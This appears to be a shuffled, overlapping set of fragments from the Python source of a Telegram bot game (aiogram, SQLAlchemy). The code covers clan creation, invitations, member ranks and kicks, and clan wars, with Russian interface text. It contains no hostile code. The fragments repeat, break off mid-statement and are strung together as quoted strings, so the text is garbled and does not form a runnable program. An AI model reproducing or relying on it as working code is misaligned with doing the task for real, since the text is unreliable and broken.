clan_name = data.get(\"clan_name\") clan_description = data.get(\"clan_description\")", "await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state = \"search\" elif callback.data == \"cancel_search_contest\": msg_text", "user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall =", "= re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id:", "\"Лидер\" and clan_member.rank != checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await", "= int(kick_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if", "import read_txt_file from utils.db_api import tables, db_api from utils.classes import kb_constructor, timer from", "clan_description = message.text[:21] await state.update_data({ \"clan_description\": clan_description, }) keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg", "tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member", "вашего клана.\", reply_markup=keyboard ) await state.update_data({ \"set_emoji_msg\": set_emoji_msg }) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async", "await clan_msg.edit_text( text=\"Вы уверены,\\n что хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data ==", "if invitation: invitation_id = int(invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard(", ") elif kick_member: member_id = int(kick_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank", "clan_member) msg_text = read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard )", "keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер: \\n\" \"Участников: \\n\"", ") else: msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif callback.data ==", "invitation: invitation_id = int(invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id)", "creator=user_id ) session.db.add(new_clan) session.db.commit() clan: tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan is not", "FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") clan_members_msg:", "re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id: member_id = int(clan_member_id[0]) checked_clan_member: tables.ClanMember", "state: FSMContext): data = await state.get_data() user_id = callback.from_user.id emojis = [ \"❤\",", "tables.Clan.clan_id != clan_member.clan_id)).all() if callback.data == \"clan_war\": if clan_member.clan.state == \"search\": if clans_search:", "id=invitation_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard", "callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data()", "16 символов)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"message_id\": clan_msg.message_id }) await", "await callback.answer( \"Для создания клана не хватает {} 💰\".format( 5000 - townhall.money) )", "read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if", "tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data == \"get_clan_units\":", "FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") if", "tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji, rating=0, money=0, units=0, creator=user_id ) session.db.add(new_clan) session.db.commit() clan: tables.Clan", "kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) except exceptions.MessageNotModified:", "= session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_( tables.Clan.state == \"search\", tables.Clan.clan_id !=", "== user_id: rank = \"Лидер\" else: rank = \"Рекрут\" new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id,", "callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page = int(page_move) keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try:", "\"contest\" new_contest = tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"],", "callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback: types.CallbackQuery,", "db_api from utils.classes import kb_constructor, timer from sqlalchemy import desc, and_ from utils.classes.regexps", "= kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await callback.message.answer( text=msg_text.format( clan.emoji, clan.name,", "@dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id =", "callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data == \"start_search_contest\":", "= message.text[:16] clan_msg = await message.reply( text=\"Придумайте <b>описание</b> для \\n\" \"клана. (макс. 21", "state.update_data({ \"clan_invitation_msg\": clan_invitation_msg }) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback: types.CallbackQuery, state:", "state=states.Clan.set_description) async def set_clan_description(message: types.Message, state: FSMContext): data = await state.get_data() user_id =", "user_id=replied_user.id).first() if invited_user_table is None or invited_clan_invitation_table is not None: return if (invited_clan_member_table", "none_clan_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message", "= session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data == \"get_clan_units\": if", ") await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback:", "\"🌈\", \"🌞\", \"🌻\", \"🌹\", \"☠\", \"🥀\", \"🦄\", \"🐙\", \"🎃\", \"👾\", \"🔱\" ] session", "clan_member.clan_id)).all() if callback.data == \"clan_war\": if clan_member.clan.state == \"search\": if clans_search: clan_1: tables.Clan", "tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0, clan_units=0, units_donate=0, donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit()", "await state.get_data() user_id = message.from_user.id if message.reply_to_message.message_id == data.get(\"message_id\"): clan_description = message.text[:21] await", "msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state == \"ending\": msg_text", "message.reply_to_message.message_id == data.get(\"message_id\"): clan_description = message.text[:21] await state.update_data({ \"clan_description\": clan_description, }) keyboard =", "elif kick_member: member_id = int(kick_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in", "!= user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page", "clan_msg: types.Message = data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await", "user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table is None", "await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif callback.data == \"clan_members\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard()", "async def clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id", ") await state.update_data({ \"clan_members_msg\": clan_members_msg }) elif callback.data == \"clan_settings\": await callback.answer(\"В разработке...\")", "= await message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard )", "types.Message, state: FSMContext): data = await state.get_data() if message.reply_to_message.message_id == data.get(\"message_id\"): clan_name =", "tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl == 0:", "= session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan is not None: new_clan_member = tables.ClanMember( clan_id=clan.clan_id, user_id=user_id,", "tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first()", "return await callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation =", "text=\"Придумайте <b>название</b> для своего\\n\" \"клана. (макс. 16 символов)\\n\" \"<i>Ответив на это сообщение.</i>\" )", "types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id emojis = [", "invitation_id = int(invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await", "import states import re import random from loader import dp from aiogram import", "await state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") if data.get(\"user_id\") != user_id:", "= db_api.CreateSession() if callback.data in emojis: set_emoji_msg: types.Message = data.get(\"set_emoji_msg\") await set_emoji_msg.delete() clan_name", "!= user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation", "msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await callback.answer()", "= message.from_user.id session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings =", "read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state = None await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True),", "townhall.money) ) session.close() return clan_msg = await clan_msg.edit_text( text=\"Придумайте <b>название</b> для своего\\n\" \"клана.", "read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation", "raise_member: member_id = int(raise_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\",", "territory_owners=[None, None], territory_units=[0, 0], territory_captures=[None, None], clans_rating=[0, 0], colors=[\"blue\", \"red\"] ) session.db.add(new_contest) msg_text", "if message.reply_to_message.message_id == data.get(\"message_id\"): clan_description = message.text[:21] await state.update_data({ \"clan_description\": clan_description, }) keyboard", "text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state = None await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def", "FSMContext from utils.misc.read_file import read_txt_file from utils.db_api import tables, db_api from utils.classes import", "tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table is None or invited_clan_invitation_table is", "clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg })", "\"search\" elif callback.data == \"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest )", "state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text", "await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data ==", "if callback.data == \"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state", "= None await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def set_clan_name(message: types.Message, state: FSMContext):", "clan_1: tables.Clan = clan_member.clan clan_2: tables.Clan = random.choice(clans_search) clan_1.state = \"contest\" clan_2.state =", "async def clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id", "= data.get(\"clan_members_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session", "rating=0, money=0, units=0, creator=user_id ) session.db.add(new_clan) session.db.commit() clan: tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first() if", "is not None: return if (invited_clan_member_table is None) and (not replied_user.is_bot): time_set =", "await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data ==", "clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close() return msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest", "\"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback: types.CallbackQuery, state: FSMContext):", "callback.answer(\"Вы вступили в клан!\") keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text(", "tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_( tables.Clan.state ==", "session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы вступили в клан!\") keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text", "clan_members_msg: types.Message = data.get(\"clan_members_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await", "await set_emoji_msg.delete() clan_name = data.get(\"clan_name\") clan_description = data.get(\"clan_description\") clan_emoji = callback.data new_clan =", "user_id: rank = \"Лидер\" else: rank = \"Рекрут\" new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id,", "text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback: types.CallbackQuery, state: FSMContext):", "async def clan_members_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id", "description=clan_description, emoji=clan_emoji, rating=0, money=0, units=0, creator=user_id ) session.db.add(new_clan) session.db.commit() clan: tables.Clan = session.db.query(", "callback.answer( \"Для создания клана не хватает {} 💰\".format( 5000 - townhall.money) ) session.close()", "async def clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id", "это сообщение.</i>\" ) await state.update_data({ \"message_id\": clan_msg.message_id }) await states.Clan.set_name.set() elif callback.data ==", "timer from sqlalchemy import desc, and_ from utils.classes.regexps import ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async", "\"🎃\", \"👾\", \"🔱\" ] session = db_api.CreateSession() if callback.data in emojis: set_emoji_msg: types.Message", "townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data ==", "tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await", "clan_members_msg }) elif callback.data == \"clan_settings\": await callback.answer(\"В разработке...\") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page)", "data = await state.get_data() user_id = callback.from_user.id emojis = [ \"❤\", \"‍🔥\", \"💖\",", "reply_markup=keyboard ) except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext): data", "callback.data) if clan_member_id: member_id = int(clan_member_id[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard =", "await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() return clan_members: typing.List[tables.ClanMember] = session.db.query(", "\"💧\", \"🌈\", \"🌞\", \"🌻\", \"🌹\", \"☠\", \"🥀\", \"🦄\", \"🐙\", \"🎃\", \"👾\", \"🔱\" ]", "= \"Старейшина\" elif checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank = \"Заместитель\" session.db.commit() keyboard = kb_constructor.PaginationKeyboard(", "return await callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page = int(page_move) keyboard = kb_constructor.PaginationKeyboard(", "data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session =", "types.Message = data.get(\"clan_members_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text)", "desc, and_ from utils.classes.regexps import ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async def clan_command_handler(message: types.Message, state:", "data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0]", "= \"search\" elif callback.data == \"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest", ") invited_user_table: tables.User = session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id,", "if buildings.clan_building_lvl == 0: sticker = read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\") await", "\"👾\", \"🔱\" ] session = db_api.CreateSession() if callback.data in emojis: set_emoji_msg: types.Message =", "tables.Clan.state == \"search\", tables.Clan.clan_id != clan_member.clan_id)).all() if callback.data == \"clan_war\": if clan_member.clan.state ==", "checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard ) elif raise_member: member_id = int(raise_member[0]) checked_clan_member: tables.ClanMember", "await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер: \\n\" \"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard )", "new_clan_member = tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember =", ") elif callback.data == \"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg", "def clan_members_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg:", "+= 1 msg_text = read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif callback.data ==", "\"🌻\", \"🌹\", \"☠\", \"🥀\", \"🦄\", \"🐙\", \"🎃\", \"👾\", \"🔱\" ] session = db_api.CreateSession()", "= await message.answer( text=\"Выберите <b>логотип</b> вашего клана.\", reply_markup=keyboard ) await state.update_data({ \"set_emoji_msg\": set_emoji_msg", ") await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg }) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback:", "clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] =", "\"клана. (макс. 21 символ)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"clan_name\": clan_name,", "callback.data == \"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await", "if (invited_clan_member_table is None) and (not replied_user.is_bot): time_set = timer.Timer.set_timer(86400) new_invitation = tables.ClanInvitation(", "session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard", "len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.reset_state(with_data=True) await state.set_data({ \"user_id\": user_id, \"clan_msg\": clan_msg", "if clan_member_table.rank in (\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember )", "}) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def set_clan_description(message: types.Message, state: FSMContext): data =", "rank = \"Рекрут\" new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0, clan_units=0, units_donate=0, donate_timer=0", "return await callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def", "None], territory_units=[0, 0], territory_captures=[None, None], clans_rating=[0, 0], colors=[\"blue\", \"red\"] ) session.db.add(new_contest) msg_text =", "db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan]", "await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback: types.CallbackQuery, state: FSMContext): data = await", "not None: new_clan_member = tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit() clan_member:", "@dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id =", "msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif callback.data == \"clan_members\": keyboard", "== \"clan_settings\": await callback.answer(\"В разработке...\") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback: types.CallbackQuery,", "\"Старейшина\": checked_clan_member.rank = \"Заместитель\" session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard", "reply_markup=keyboards.clan.kb_none_clan ) elif callback.data == \"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await callback.answer()", "await callback.answer(\"В разработке...\") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext):", "text=msg_text.format( clan.emoji, clan.name, clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.reset_state(with_data=True) await", "set_emoji_msg: types.Message = data.get(\"set_emoji_msg\") await set_emoji_msg.delete() clan_name = data.get(\"clan_name\") clan_description = data.get(\"clan_description\") clan_emoji", "reply_markup=keyboard ) await state.reset_state(with_data=True) await state.set_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True),", "await callback.answer(\"Станет доступно позже.\") session.close() return msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard()", "types.Message = data.get(\"clan_msg\") clan_members_msg: types.Message = data.get(\"clan_members_msg\") if data.get(\"user_id\") != user_id: msg_text =", "text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif callback.data == \"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text =", "user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await", "reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state == \"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back", "}) elif callback.data == \"clan_settings\": await callback.answer(\"В разработке...\") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async", "return await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember", "= read_txt_file(\"text/clan/members\") clan_members_msg = await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard )", "checked_clan_member.rank != \"Лидер\" and clan_member.rank != checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard(", "kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await callback.answer() session.close()", "(макс. 16 символов)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"message_id\": clan_msg.message_id })", "message.text[:21] await state.update_data({ \"clan_description\": clan_description, }) keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await", "= await state.get_data() user_id = callback.from_user.id emojis = [ \"❤\", \"‍🔥\", \"💖\", \"🍩\",", "clan_menu_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message", "await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def set_clan_name(message: types.Message, state: FSMContext): data =", "kb_constructor, timer from sqlalchemy import desc, and_ from utils.classes.regexps import ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\")", "re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page = int(page_move) keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text = 